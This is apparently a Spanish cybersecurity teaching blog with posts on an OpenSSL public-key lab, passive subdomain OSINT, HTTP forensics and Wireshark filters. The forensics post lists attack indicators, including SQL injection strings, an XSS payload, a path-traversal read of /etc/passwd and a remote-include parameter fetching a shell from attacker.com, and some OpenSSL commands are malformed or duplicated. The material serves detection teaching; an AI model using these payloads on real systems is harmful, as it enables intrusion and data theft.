Categoría: Ciberseguridad

2.1.3 – [Reto] Cifrado Asimétrico con Clave Pública y Privada

La criptografía asimétrica es uno de esos inventos humanos que parecen ciencia ficción pero sostienen la realidad cotidiana. Cada vez que abres una web HTTPS, envías un mensaje seguro, firmas un documento digital o te conectas por SSH, estás usando matemáticas diseñadas para resolver un problema aparentemente imposible: compartir secretos sin compartir el secreto.

En el cifrado simétrico ya viste que dos partes pueden proteger información usando una misma clave. Rápido, eficaz… pero con un punto débil crítico: ¿cómo intercambias esa clave sin que alguien la intercepte? Aquí entra la criptografía de clave pública, una idea brillante basada en funciones matemáticas fáciles de calcular pero extremadamente difíciles de invertir. Gracias a ello, cada entidad puede tener dos claves: una pública que puede compartir con el mundo y una privada que jamás debe revelar. Lo que una cifra, solo la otra puede descifrar; lo que una firma, la otra puede verificar.

Este modelo no solo permite cifrar mensajes. Permite algo mucho más profundo: crear confianza en sistemas donde las partes no se conocen previamente. De aquí nacen las firmas digitales, los certificados, las autoridades de certificación y, en última instancia, el funcionamiento seguro de Internet mediante TLS. Sin criptografía asimétrica no existirían el comercio electrónico, la identidad digital, ni la mayoría de servicios que hoy consideramos normales.

En este tema no solo aprenderás comandos. Comprenderás cómo se construye un canal seguro desde cero: cómo se generan identidades criptográficas, cómo se cifra para un destinatario concreto, cómo se garantiza que un mensaje no ha sido alterado, y cómo una infraestructura de certificados permite confiar en claves públicas desconocidas. Es el paso donde la seguridad deja de ser “ocultar datos” y se convierte en demostrar identidad, integridad y autenticidad en un entorno hostil.

Limitación del cifrado simétrico:

Necesita compartir clave secreta
Si se intercepta → seguridad rota

Problema fundamental:

¿Cómo compartir un secreto sin compartirlo?

Solución matemática:
Criptografía de clave pública

Cada usuario posee:

Clave pública → se puede compartir
Clave privada → nunca se revela

Lo cifrado con una solo puede descifrarse con la otra.

Resultado esperado:
El alumno comprende la diferencia simétrico vs asimétrico.

Conceptos Fundamentales

Conceptos clave:

Par de claves (Key Pair)
Clave pública
Clave privada
Cifrado
Descifrado
Firma digital
Verificación
No repudio
Confianza
Certificados

Idea central:
La clave pública cifra o verifica
La clave privada descifra o firma

Fundamento Matemático (Nivel Conceptual)

La criptografía asimétrica usa funciones:

Fáciles de calcular
Extremadamente difíciles de invertir

Ejemplo conceptual:

Multiplicar primos grandes → fácil
Factorizar resultado → extremadamente difícil

Este principio sostiene:

RSA
Diffie-Hellman
ECC

Algoritmos Asimétricos Principales

RSA

Basado en factorización de números grandes.
Usado para:

Cifrado
Firma digital
TLS clásico

Diffie-Hellman

Permite generar una clave compartida sin enviarla.
Base del intercambio seguro.

ECC (Elliptic Curve Cryptography)

Versión moderna y eficiente.
Usada en:

TLS moderno
Blockchain
SSH moderno
Certificados

Resultado esperado:
El alumno distingue funciones de cada algoritmo.

Generación de Claves (Práctica)

Objetivo: crear identidad criptográfica.

Ejemplo:

openssl genrsa -out privada.pem 2048
openssl rsa -in privada.pem -pubout -out publica.pem

Conceptos enseñados:

Tamaño de clave
Seguridad vs rendimiento
Protección de clave privada

Cifrado con Clave Pública

Escenario:

Alice quiere enviar mensaje seguro a Bob.

Proceso:

Bob genera claves
Bob comparte clave pública
Alice cifra con clave pública de Bob
Solo Bob puede descifrar

Concepto:
Cualquiera puede cifrar, solo el dueño puede leer

Firma Digital

Proceso:

Emisor firma con su clave privada
Receptor verifica con clave pública

Garantiza:

Autoría
Integridad
No repudio

Uso real:

Software firmado
Certificados
Emails seguros
Blockchain
Documentos legales

Intercambio de Claves Seguro (Diffie-Hellman)

El mayor avance criptográfico.

Permite:

Generar clave simétrica
Sin transmitirla
Incluso con atacante escuchando

Esto es lo que hace TLS.

Concepto clave:
El asimétrico no cifra grandes datos, crea la clave simétrica.

Criptografía Híbrida (Cómo funciona TLS)

En el mundo real:

Asimétrico → intercambia clave
Simétrico → cifra datos (rápido)

Esto es:

HTTPS
VPN
SSH
TLS
Internet seguro

Certificados Digitales

Problema:

¿Cómo sé que una clave pública es auténtica?

Solución:

Autoridades de Certificación (CA)

Un certificado vincula:

Identidad
Clave pública
Firma de una CA

Conceptos:

X.509
Cadena de confianza
Root CA
Certificado autofirmado
Validación

Ataques contra Criptografía Asimétrica

Robo de clave privada
MITM
Certificados falsos
Claves débiles
Mala implementación
RNG débil
Padding attacks (conceptual)

Mensaje:
La criptografía no falla por matemáticas → falla por humanos.

OWASP y Criptografía

Relación directa con:

OWASP A02 — Cryptographic Failures

Errores reales:

Claves expuestas
Sin validación de certificados
Uso de RSA débil
Sin forward secrecy
Mala generación de claves

Recomendaciones

Generar par de claves
Cifrar mensaje con clave pública
Firmar archivo
Verificar firma
Crear certificado autofirmado
Simular TLS
MITM conceptual
Ver handshake TLS con Wireshark

Conexión con el Mundo Real

Esto protege:

HTTPS
SSH
VPN
Git firmado
Docker firmado
Identidad digital
Blockchain
Infraestructura crítica

Sin criptografía asimétrica → Internet no existiría.

Comparativa — Clave Simétrica vs Clave Asimétrica

Propiedad	Criptografía Simétrica	Criptografía Asimétrica
Nº de claves	Una sola clave secreta compartida	Dos claves: pública y privada
Distribución de claves	Problema crítico (debe compartirse en secreto)	La pública se puede compartir libremente
Velocidad	Muy rápida (apta para grandes volúmenes de datos)	Mucho más lenta
Uso principal	Cifrado de datos	Intercambio de claves, firma digital, autenticación
Seguridad depende de	Mantener la clave secreta	Proteger la clave privada
Tamaño de clave típico	128 / 192 / 256 bits (AES)	2048+ bits RSA / 256 bits ECC
Cifrado de grandes datos	Excelente	Ineficiente
Integridad / autenticidad	Necesita mecanismos extra (HMAC, GCM)	Incluido mediante firma digital
No repudio	No	Sí (firma digital)
Complejidad matemática	Moderada	Alta
Resistencia si interceptan el mensaje	Segura si no tienen la clave	Segura si no tienen la privada
Ejemplos de algoritmos	AES, ChaCha20, Blowfish	RSA, ECC, Diffie-Hellman
Uso en el mundo real	Discos cifrados, VPN, WiFi, bases de datos	TLS, certificados, firmas, SSH
Papel en TLS/HTTPS	Cifra el tráfico	Intercambia la clave simétrica
Escalabilidad (muchos usuarios)	Mala (cada pareja necesita clave distinta)	Buena (cada usuario tiene su par de claves)
Si roban la clave	Pueden leer todo	Solo compromete esa identidad
Caso de uso ideal	Proteger datos rápidamente	Establecer confianza entre desconocidos

TLS = combinación de ambas (criptografía híbrida)

Simétrica = rapidez para proteger datos

Asimétrica = confianza e identidad

MISIÓN DE LA FLOTA ESTELAR

CANAL SEGURO — CRIPTOGRAFÍA ASIMÉTRICA + FIRMA + CERTIFICADOS (OpenSSL)

Unidad: USS Horizon — División de Comunicaciones Seguras
Nivel: Cadete Técnico
Objetivo general: establecer un canal de comunicación confiable usando clave pública/privada, firma digital, y certificado.

PARTE 1 — “IDENTIDAD CRIPTOGRÁFICA” (Par de claves)

FASE 1 — Crear carpeta de misión

mkdir-p mision_canal_seguro && cd mision_canal_seguro

FASE 2 — Generar clave privada del oficial Bob (2048 bits)

Narrativa: Bob es el oficial de comunicaciones. Su clave privada es el “código genético” de su identidad.

openssl genrsa -out bob_privada.pem 2048

Comprobación rápida (sin mostrarla entera):

openssl rsa -in bob_privada.pem -check-noout

FASE 3 — Obtener la clave pública de Bob

Narrativa: esta es la clave que Bob puede compartir con toda la Flota.

openssl rsa -in bob_privada.pem -pubout-out bob_publica.pem

Verla en modo humano:

openssl rsa -pubin-in bob_publica.pem -text-noout

✅ Resultado esperado: los alumnos ven que la pública se puede inspeccionar sin revelar la privada.

PARTE 2 — “CIFRADO CON CLAVE PÚBLICA” (Confidencialidad)

FASE 4 — Crear mensaje secreto de Alice

echo "Coordenadas del punto de encuentro: Sector 7G. Acceso nivel Alfa." > mensaje_alice.txt
cat mensaje_alice.txt

FASE 5 — Cifrar para Bob usando su clave pública

IMPORTANTE (realidad): RSA no se usa para cifrar grandes datos. Aquí lo usamos con un mensaje pequeño para entender el concepto.

openssl pkeyutl -encrypt -pubin -inkey bob_publica.pem -in mensaje_alice.txt -out mensaje_para_bob.bin

Ver que es ilegible:

xxd mensaje_para_bob.bin | head

✅ Resultado: datos binarios “ruido”.

FASE 6 — Descifrar con la clave privada de Bob

openssl pkeyutl -decrypt -inkey bob_privada.pem -in mensaje_para_bob.bin -out mensaje_descifrado.txt
cat mensaje_descifrado.txt

✅ Resultado esperado: el texto original vuelve intacto.

Aprendizaje clave:

Cualquiera con la pública puede cifrar para Bob
Solo Bob con la privada puede leerlo

PARTE 3 — “FIRMA DIGITAL” (Integridad + Autoría)

Ahora el enemigo puede intentar modificar mensajes. La Flota exige que cada mensaje vaya firmado.

FASE 7 — Alice firma un mensaje

Primero Alice genera sus claves (identidad propia):

openssl genrsa -out alice_privada.pem 2048
openssl rsa -in alice_privada.pem -pubout -out alice_publica.pem

Mensaje oficial:

openssl dgst -sha256 -sign alice_privada.pem -out orden.firma orden.txt

FASE 8 — Crear el hash y firmarlo (firma con clave privada)

openssl dgst -sha256-sign alice_privada.pem -out orden.firma orden.txt

✅ “orden.firma” es la firma digital.

FASE 9 — Verificar la firma con la clave pública

openssl dgst -sha256-verify alice_publica.pem -signature orden.firma orden.txt

✅ Resultado esperado: Verified OK

FASE 10 — Simular sabotaje (modificación del mensaje)

echo "Orden de misión: desactivar escudos y abrir bahía de carga." > orden.txt
openssl dgst -sha256 -verify alice_publica.pem -signature orden.firma orden.txt

✅ Resultado esperado: Verification failure

Aprendizaje clave:

La firma no cifra (no oculta).
La firma garantiza que el mensaje no fue modificado y que viene de quien dice venir.

PARTE 4 — “CERTIFICADOS” (Confianza en la clave pública)

Aquí está la pregunta mortal:
¿cómo sabe Bob que la clave pública de Alice es realmente de Alice y no del enemigo?

Respuesta: certificados.

Vamos a simular una mini-PKI de la Flota (una CA).

FASE 11 — Crear la CA de la Flota Estelar

CA = Autoridad de Certificación (el “notario” criptográfico).

Clave privada de la CA:

openssl genrsa -out starfleet_ca_privada.pem 4096

Certificado autofirmado de la CA (válido 365 días):

openssl req -x509 -new -key starfleet_ca_privada.pem -sha256 -days 365 -out starfleet_ca.crt \
-subj "/C=ES/O=Starfleet Academy/OU=Security Division/CN=Starfleet Root CA"

Ver certificado:

openssl x509 -in starfleet_ca.crt -text-noout | head -n40

FASE 12 — Alice solicita un certificado (CSR)

CSR = Certificate Signing Request (petición de certificado).

openssl req -x509 -new -key starfleet_ca_privada.pem -sha256 -days 365 -out starfleet_ca.crt \
-subj "/C=ES/O=Starfleet Academy/OU=Security Division/CN=Starfleet Root CA"

FASE 13 — La CA firma el certificado de Alice

openssl x509 -req -in alice.csr -CA starfleet_ca.crt -CAkey starfleet_ca_privada.pem \
-CAcreateserial -out alice_cert.crt -days 365 -sha256

Ver contenido:

openssl x509 -in alice_cert.crt -text-noout | head -n60

FASE 14 — Verificar que el certificado de Alice “cuelga” de la CA

openssl verify -CAfile starfleet_ca.crt alice_cert.crt

✅ Resultado esperado: alice_cert.crt: OK

Aprendizaje clave:

Ahora Bob no confía “porque sí” en la clave pública de Alice.
Confía porque la CA de la Flota la certifica.

PARTE 5 — “HÍBRIDO” (Cómo funciona Internet de verdad)

Verdad del universo:
El asimétrico es lento para datos grandes.
Se usa para intercambiar/validar una clave simétrica, y luego se cifra todo con AES/ChaCha20.

Mini-demostración conceptual (sin meternos aún en DH real)

Alice y Bob se validan con certificados (asimétrico)
Se acuerda una clave de sesión (simétrica)
Todo el tráfico va con AES-GCM / ChaCha20-Poly1305

Eso es TLS.

INFORME FINAL (lo que tienes que entregar)

Capturas o salida de:

creación de claves
cifrado/descifrado RSA
firma y verificación (OK)
verificación fallida tras manipulación
creación de CA
emisión del certificado de Alice
verificación openssl verify

Explicación breve:

diferencia cifrado vs firma
por qué se necesitan certificados
por qué TLS es híbrido

OPCIONALES (Modo “Cadete con rango”)

A) Ver handshake TLS real con Wireshark (si tienes tiempo)

abrir un sitio HTTPS
filtrar tls y ver certificados, cipher suite, etc.

B) Pasar a ECC

generar claves con curvas elípticas y comparar tamaños

C) Forward secrecy (conceptual)

por qué DH/ECDHE evita que roben sesiones antiguas si se filtra una clave

Registro del Capitán:

“Cadete, hoy no solo has cifrado un mensaje. Has creado confianza en un universo hostil.
La seguridad no es ocultar información: es demostrar identidad, detectar manipulación y sobrevivir a la interceptación.”

febrero 10, 2026

Reconocimiento de dominios por terminal y scripting
¿Qué es OSINT y por qué usar terminal?

OSINT (Open Source Intelligence) es el arte —y la ciencia— de obtener información a partir de fuentes públicas, sin interactuar activamente con el objetivo ni alterar sistemas.

Trabajar desde la terminal tiene varias ventajas clave:
- Reproducibilidad: lo que haces hoy lo puedes repetir mañana.
- Automatización: un comando hoy, un script mañana.
- Mentalidad analítica: piensas en datos, no en interfaces.
- Escalabilidad: una IP, cien dominios o mil subdominios.
1. AMASS – Descubrimiento de subdominios (OSINT real)

¿Qué es Amass?

Amass es una herramienta de OWASP diseñada para mapear la superficie externa de una organización, utilizando únicamente fuentes públicas cuando se trabaja en modo pasivo.

No escanea puertos, no lanza exploits. Pregunta a Internet lo que Internet ya sabe.

Instalación en Ubuntu
```
sudo apt update
sudo apt install amass 

#Tambien puedes usar snap 
snap install amass 
```
Comprobación:
```
amass version
```
Uso básico (modo pasivo)
```
amass enum -passive -d ejemplo.com
```
Qué está ocurriendo aquí:
- enum: modo enumeración
- -passive: solo fuentes OSINT
- -d: dominio objetivo
Resultado típico:
- www.ejemplo.com
- mail.ejemplo.com
- api.ejemplo.com
- dev.ejemplo.com
Cada subdominio es una posible pieza de infraestructura real.

Uso con salida a archivo
```
amass enum -passive -d ejemplo.com -o subdominios.txt
```
Esto es clave para:
- Documentar
- Analizar después
- Usar como entrada para otras herramientas
Enumeración con múltiples dominios
```
amass enum -passive -df dominios.txt -o resultados.txt
```
Donde dominios.txt contiene:
```
ejemplo.com
ejemplo.org
ejemplo.net
```
Aquí ya empiezan a pensar como analistas, no como usuarios.

Advertencia ética

Amass no rompe nada, pero:
- Solo se usa sobre dominios autorizados o de práctica
- Nunca sobre empresas reales sin permiso
- El objetivo es aprender metodología, no recolectar víctimas
2. Subfinder – Enumeración rápida y minimalista

¿Qué es Subfinder?

Subfinder hace una cosa y la hace muy bien:
descubrir subdominios usando fuentes OSINT, de forma rápida y limpia.

Es ideal para:
- Resultados rápidos
- Scripts
- Integrarlo con otras herramientas
Instalación en Ubuntu

Opción repositorios:
```
sudo apt install subfinder
```
Opción manual (recomendado para versiones recientes):
```
sudo apt install snapd
sudo snap install subfinder
```
Uso básico
```
subfinder -d ejemplo.com
```
Salida:
- Lista de subdominios uno por línea
- Sin ruido
- Perfecto para canalizar a otros comandos
Guardar resultados
```
subfinder -d ejemplo.com -o subfinder.txt
```
Comparación mental con Amass

Aquí conviene explicárselo así al alumno:
- Amass: más pesado, más contexto, más fuentes
- Subfinder: rápido, limpio, directo
- Ambos son OSINT pasivo
- En un proyecto real, se usan juntos
3. Geolocalización – Poniendo los pies en la Tierra

La geolocalización no es solo “ver el país”.
Es contexto físico, legal y técnico.

3.1 Geolocalización de IP con whois
```
whois 8.8.8.8
```
Información relevante:
- País
- Organización
- ASN
- Rango de IPs
Esto permite responder preguntas como:
- ¿Está en Europa o fuera?
- ¿Es cloud o infraestructura propia?
- ¿Qué proveedor hay detrás?
3.2 Uso de geoiplookup

Instalación:
```
sudo apt install geoip-bin
```
Uso:
```
geoiplookup 8.8.8.8
```
Salida:
- País
- Región aproximada
Ideal para scripting rápido.

3.3 Geolocalización con APIs desde terminal

Ejemplo con curl:
```
curl ipinfo.io/8.8.8.8
```
Devuelve JSON:
- Ciudad
- País
- Coordenadas
- ASN
- Organización
Aquí puedes introducir:
- Parseo con jq
- Automatización
- Correlación con subdominios
4. Uniendo piezas: OSINT como proceso

Aquí es donde el taller se vuelve interesante.

Ejemplo de flujo real:
1. Amass descubre subdominios
2. Subfinder confirma y amplía
3. Se resuelven IPs
4. Se geolocalizan
5. Se detecta:
  - Infraestructura cloud
  - Distribución geográfica
  - Entornos de desarrollo expuestos
No es magia. Es método.

5. Ejemplo
```
amass enum -passive -d ejemplo.com -o amass.txt
subfinder -d ejemplo.com -o subfinder.txt
sort amass.txt subfinder.txt | uniq > subdominios_finales.txt
```
Luego:
```
while read sub; do
  echo "Resolviendo $sub"
  host $sub
done < subdominios_finales.txt
```
Esto ya es pensar en scripts, no en comandos sueltos.

OSINT no es “buscar cosas”, es formular hipótesis

La terminal no es incómoda, es poderosa

Cada dato aislado no dice nada

La inteligencia aparece al correlacionar
diciembre 14, 2025
¿Qué es HTTP?
HTTP, visto desde el prisma del análisis forense, se convierte en un río de migas digitales. Todo lo que un usuario hace en la web —clics, formularios, cargas, descargas, redirecciones— queda reflejado en forma de peticiones y respuestas. Para un analista forense, ese flujo es una fuente de verdad incómodamente sincera.

1. HTTP desde la perspectiva del Análisis Forense

HTTP (Hypertext Transfer Protocol) es el lenguaje de comunicación entre navegadores y servidores web. En condiciones normales es un protocolo simple, sin cifrar, basado en texto plano. Esa “simplicidad” lo convierte en un objetivo fantástico para la reconstrucción forense de actividades.

¿Por qué HTTP importa en un análisis forense?

HTTP expone tres elementos cruciales:
1. Qué hizo un usuario
  Las URLs visitadas describen intención, interés y acciones concretas.
  Un acceso a /wp-admin/ no es lo mismo que una visita a /index.html.
2. Qué envió un usuario
  Si no hay cifrado (HTTP a secas), el analista puede ver:
  - campos de formularios
  - parámetros en la URL
  - cookies
  - cabeceras personalizadas
  Son pruebas directas de actividad.
3. Qué devolvió el servidor
  Los códigos de estado (200, 404, 500…) cuentan historias:
  - ¿Se intentó acceder a un recurso prohibido? (403)
  - ¿Hubo intentos de escaneo? (404 repetidos)
  - ¿Hubo redirecciones sospechosas? (3xx)
En un entorno HTTPS el contenido se cifra, pero la metadata sigue hablando: SNI, IPs de destino, tamaño de paquetes, frecuencia de conexiones.

2. Qué puede analizar un forense dentro del tráfico HTTP

Cuando el tráfico está en claro (capturas PCAP, logs de proxy, almacenamientos en disco…), un analista puede reconstruir:

Peticiones
- Método usado (GET, POST, PUT…)
- URL completa con parámetros
- Cookies
- User-Agent
- Referer (muy útil para reconstruir navegación)
- Origen de la petición
Respuestas
- Códigos de estado
- Tipo de contenido (Content-Type)
- Descarga de ficheros
- Redirecciones (sirven para detectar phishing o malware)
Cuerpo (Body)
- Formularios enviados
- Archivos subidos
- Tokens
- Sesiones reutilizadas
- Comandos dentro de ataques (SQLi, XSS, LFI, RFI)
HTTP deja la puerta abierta a ver la anatomía completa del ataque.

3. Indicadores forenses típicos en HTTP

Un forense puede detectar patrones de ataque leyendo únicamente tráfico HTTP.

SQL Injection

Parámetros anómalos:

?id=1' OR '1'='1 ?id=1 UNION SELECT *

XSS

Cargas útiles visibles:

<script>alert('xss')</script>

LFI/RFI

?page=../../etc/passwd ?file=http://attacker.com/shell.txt

Attempts de fuerza bruta o escaneo
- secuencias largas de 404 (enumeración de rutas)
- accesos a /admin, /phpmyadmin, /wp-login.php
- múltiples POST fallidos a formularios de login
Exfiltración mediante HTTP
- subidas de archivos
- grandes volúmenes en POST
- parámetros larguísimos y codificados (Base64, hex, etc.)
HTTP se convierte en un diario de guerra para quien sabe leerlo.

4. Fuentes forenses relacionadas con HTTP

PCAPs

Capturas obtenidas con Wireshark/tcpdump → reconstrucción completa de la sesión.

Logs de servidor
- Apache: access.log y error.log
- Nginx: access.log y error.log
- IIS: logs W3C
Incluyen:
- IP origen
- timestamp
- método
- URL
- código de respuesta
- tamaño de respuesta
- User-Agent
Logs de proxy/IDS/IPS
- Squid
- Suricata
- Snort
Detectan patrones de ataque.

Carpetas temporales del navegador

Cuando no hay cifrado, muchos navegadores almacenaban recursos en caché → reconstrucción de contenido web visitado.

5. Qué valor aporta HTTP en un caso forense

HTTP permite:

Atribución

Qué IP hizo qué petición, cuándo, y hacia dónde.

Reconstrucción cronológica

Secuencia exacta de navegación.

Detección de actividad maliciosa

Scripts, comandos, payloads.

Derivación de intenciones

El tipo de URL buscada revela motivación y objetivos.

Prueba digital sólida

HTTP es fácil de interpretar y explicar en un informe pericial.

LAS CAPAS DE HTTP

En un recorrido típico, desde que un navegador lanza un GET hasta que el servidor responde un 200 OK, intervienen estas capas:

1. Capa de Aplicación (HTTP “de verdad”)
Aquí es donde vive el propio HTTP. Todo lo que son métodos (GET, POST…), cabeceras, cookies, códigos de estado, cuerpos JSON/HTML/lo-que-sea, ocurre aquí.
Es la capa donde se expresa la intención humana: “dame este recurso”, “aquí tienes mi formulario”, “acepto gzip”.

2. Capa de Transporte (TCP)
HTTP clásico usa TCP, que actúa como el mensajero meticuloso: garantiza que los datos lleguen en orden, completos y sin que nadie se pierda por el camino.
Aquí se negocia el 3-way handshake, se fragmentan segmentos, se controlan retransmisiones y se mantiene la conexión.

3. Capa de Red (IP)
IP es la guía turística poco habladora que solo sabe entregar paquetes. Se ocupa de mover esos segmentos TCP a través de routers, saltos, rutas posibles, usando direcciones IP.
No sabe nada de “GET /index.html”, solo sabe de “lleva este paquete a la 172.217.x.x”.

4. Capa de Enlace de Datos (Ethernet / Wi-Fi)
Aquí estamos en el nivel de los marcos (frames), las MACs, la detección de colisiones, los canales radioeléctricos…
Es la autopista física donde circulan los bits.

5. Capa Física
Aquí no hay cabeceras ni protocolos nobles. Solo voltajes, pulsos, ondas, fibras, fotones.
Es la capa donde HTTP desaparece por completo y solo quedan electrones corriendo nerviosos.

Ejemplo

Vamos a hacer un ejemplo muy visual, como si desmontáramos una muñeca rusa digital.
Imagina que tu navegador quiere pedir:

GET /login.html HTTP/1.1
Host: ejemplo.com

Ese texto tan inocente pasa por una cadena de capas. Te lo describo como si fuese un “viaje del paquete” de arriba abajo.

1. Capa de Aplicación (HTTP)

Aquí se construye el mensaje original:

GET /login.html HTTP/1.1
Host: ejemplo.com
User-Agent: Firefox
Accept: text/html

Todavía no hay números de puertos, ni IPs, ni MACs. Solo intención: “dame este recurso”.

2. Capa de Transporte (TCP)

HTTP se mete dentro de un segmento TCP. Ahora aparecen cosas como:
```
Puerto origen: 53214

Puerto destino: 80

Número de secuencia: 45500123

Flags: PSH, ACK
```
Ejemplo muy simplificado:

[`TCP HEADER] Src Port: 53214 Dst Port: 80 Seq: 45500123 Ack: 1209931001 [DATA] GET /login.html HTTP/1.1 Host: ejemplo.com`

3. Capa de Red (IP)

El segmento TCP se mete dentro de un paquete IP:

[IP HEADER]
Src IP: 192.168.1.50
Dst IP: 93.184.216.34
TTL: 64
Protocol: TCP
[TCP + HTTP DATA]

Esta capa ya sabe a qué dirección de Internet debe viajar.

4. Capa de Enlace (Ethernet / Wi-Fi)

Ahora se añade el frame Ethernet con MACs:

[ETHERNET HEADER]
Src MAC: C4:12:3B:AA:11:22
Dst MAC: 58:9C:FC:02:EE:10
Type: IPv4
[IP + TCP + HTTP]

Estas direcciones MAC son solo para el salto inmediato (por ejemplo, tu router).

5. Capa Física

El frame se convierte en:
```
Pulsos eléctricos (Ethernet),

Ondas electromagnéticas (Wi-Fi),

Fotones (fibra óptica).
```
En esta capa ya no vemos “GET /login.html”. Vemos señales que codifican bits.

Cada capa de la 1 a la 5 envuelve a la anterior:

[FÍSICA]
-> [ENLACE]
-> [IP]
-> [TCP]
-> [HTTP]

Si quieres ver esto “en vivo” puedes abrir Wireshark y filtra por http. Cuando haces clic en un paquete verás:
```
Ethernet II

Internet Protocol Version 4

Transmission Control Protocol

Hypertext Transfer Protocol
```
Cada uno anidado dentro del otro, como en este ejemplo que acabas de leer.
noviembre 26, 2025
¿Qué es Wireshark?
Wireshark es un analizador de tráfico de red que permite capturar y examinar, en tiempo real o a través de archivos pcap, todos los paquetes que circulan por un equipo o una interfaz de red. Su potencia reside en su capacidad para mostrar cada detalle de la comunicación: protocolos, cabeceras, datos, errores y patrones internos.

Sin embargo, una captura completa suele contener miles de paquetes mezclados: peticiones web, DNS, tráfico de fondo del sistema, retransmisiones TCP, etc. Analizar todo a la vez es inviable. Para poder investigar de forma eficaz, necesitamos herramientas que nos permitan centrarnos solo en lo relevante.

Aquí es donde entran en juego los filtros de visualización.

2. ¿Qué son los filtros de Wireshark?

Un filtro en Wireshark es una expresión que permite mostrar únicamente los paquetes que cumplen una o varias condiciones. El resto de los paquetes no se eliminan: simplemente se ocultan temporalmente de la vista.

Los filtros son una forma de decirle a Wireshark:

“De entre todos estos miles de paquetes, solo quiero ver los que coincidan con esta característica concreta.”

Por ejemplo:
- “Solo quiero ver peticiones GET a una web.”
- “Muéstrame las cookies enviadas por el navegador.”
- “Quiero ver los paquetes destinados al puerto 80.”
- “Enséñame el tráfico DNS para saber qué dominios se resolvieron.”
Con esto, el análisis deja de ser caótico y se convierte en una investigación guiada.

3. ¿Cómo funcionan por dentro?

3.1. Campos de los protocolos

Wireshark entiende cada protocolo y lo descompone en campos.
Por ejemplo, en HTTP podemos encontrar:
- http.host
- http.request.method
- http.cookie
En TCP aparecen campos como:
- tcp.port
- tcp.flags.syn
- tcp.seq
En DNS:
- dns.qry.name
Cada uno de estos campos puede usarse para crear filtros.

3.2. Operadores

Para comparar esos campos con valores concretos, Wireshark utiliza operadores lógicos y relacionales:

Operador Significado
== Igual a
!= Distinto
contains El campo contiene un texto concreto
< / > Comparación numérica
&& AND lógico
`
! Negación (NO)

Con estos operadores podemos crear condiciones desde sencillas hasta muy complejas.

3.3. Ejemplos básicos
```
http
```
Muestra únicamente paquetes HTTP.
```
http.request.method == "POST"
```
Filtra todas las peticiones POST (ideal para ver formularios y logins sin cifrar).
```
tcp.port == 80
```
Muestra tráfico hacia/desde el puerto 80 (HTTP en claro).
```
http.cookie contains "PHPSESSID"
```
Filtra cookies asociadas a sesiones PHP.

4. ¿Para qué sirven realmente?

Los filtros permiten:

• Analizar aplicaciones web en PHP

Ver cómo un navegador solicita index.php, cómo envía credenciales por POST o cómo recibe una cookie de sesión.

• Depurar problemas

Identificar errores HTTP, pérdidas de paquetes, retransmisiones TCP o peticiones repetidas.

• Seguir el flujo de un usuario

Reconstruir la secuencia de navegación: qué URL pidió, cuándo inició sesión y qué recursos cargó la página.

• Detectar configuraciones inseguras

Tráfico HTTP en claro, cookies sin atributos de seguridad, peticiones POST sin cifrar…

• Aprender el funcionamiento interno de la red

DNS, ARP, TLS, TCP handshake y otros mecanismos que normalmente pasan desapercibidos.

5. Tipos de filtros en Wireshark

Wireshark tiene dos categorías (aunque muchos alumnos las confunden al principio):

1. Filtros de captura (Capture Filters)

Se aplican antes de capturar y limitan qué paquetes se guardan en el archivo.
Tienen sintaxis estilo BPF (más escueta):
Ejemplo:
```
port 80
host 192.168.1.100
```
2. Filtros de visualización (Display Filters)

Se aplican después de capturar y permiten analizar sin perder nada.
Son los que se usan el 99% del tiempo en clase:
```
http.request.method == "GET"
dns.qry.name contains "example.com"
```
6. Conclusión

Los filtros son la herramienta fundamental para convertir una captura de tráfico en bruto en una historia comprensible. Permiten investigar, aprender, depurar y entender cómo se comportan las aplicaciones web y los protocolos de red.

Dominar los filtros equivale a dominar Wireshark.

Filtros básicos pero muy visuales

1. Filtrar por HTTP en claro
Cuando trabajan con un hosting sin HTTPS o usando HTTP local:
```
http
```
Muestra peticiones GET, POST, cabeceras, parámetros… el caramelo didáctico ideal.

2. Solo peticiones GET
```
http.request.method == "GET"
```
Sirve para ver qué recursos pide el navegador: imágenes, JS, CSS, el index.php.

3. Solo peticiones POST (login, formularios)
```
http.request.method == "POST"
```
Perfecto para mostrar cómo se enviarían credenciales sin cifrar. Nada despierta conciencias como ver un usuario y contraseña en texto plano.

Filtros para cazar PHP

4. Peticiones explícitas a archivos PHP
```
http.request.uri contains ".php"
```
Puedes ver exactamente qué scripts se llaman: login.php, insert.php, update.php.

5. Extraer cookies (sesiones PHP)
```
http.cookie
```
Llega el momento «¿ves esto? Esto es tu sesión… y si te la robo, te convierto en ti».

6. Ver el PHPSESSID en tráfico no cifrado
```
http.cookie contains "PHPSESSID"
```
Es el filtro dramático: el espíritu del session hijacking entra en clase.

Cuando todo va cifrado (HTTPS)

La gente suele pensar “si está cifrado, no veo nada”, pero sí hay cosas interesantes:

7. Filtrar solo TLS/SSL
```
tls
```
8. Ver el SNI (qué dominio está visitando el cliente)
```
tls.handshake.extensions_server_name
```
SNI revela dominios incluso aunque el contenido esté cifrado. Muy útil para explicación OSINT.

9. Ver el handshake TLS
```
tls.handshake
```
Para explicar versiones de TLS, cipher suites, certificados…

Filtros orientados al servidor web

10. Filtrar por puerto
```
tcp.port == 80 || tcp.port == 443
```
Básico pero efectivo para centrar el tráfico.

11. Filtrar errores HTTP
```
http.response.code >= 400
```
Se ven los 404, 403, 500… Ideal cuando tus alumnos han roto algo sin querer.

12. Ver solo respuestas 200 (todas bien)
```
http.response.code == 200
```
Filtros para mostrar problemas reales

13. Retransmisiones TCP (problemas de red)
```
tcp.analysis.retransmission
```
Traduce “la red no es perfecta, observad estas repeticiones”.

14. Paquetes fuera de orden
```
tcp.analysis.out_of_order
```
15. Flujo lento o paquetes perdidos
```
tcp.analysis.lost_segment
```
Filtros de capas bajas (para dar color a la clase)

16. Filtrar ARP
```
arp
```
Es como ver el vecindario de máquinas preguntándose mutuamente “¿quién eres?”.

17. Filtrar DNS
```
dns
```
Verán cada dominio que consulta el navegador antes siquiera de entrar al PHP.

Un combo que siempre triunfa en clase

Ver solo: peticiones POST + tráfico HTTP + mostrar cookies
Sirve para simular un login vulnerable:
```
http.request.method == "POST" && http.cookie
```
Y si están usando HTTPS pero quieres que entiendan lo que no pueden ver:
```
tls && http
```
No aparece nada HTTP, y eso invita al clásico «¿ves? por esto existe HTTPS».

Práctica: Análisis de Tráfico HTTP con Wireshark en una Web Vulnerable

Caso práctico: testphp.vulnweb.com

1. Introducción

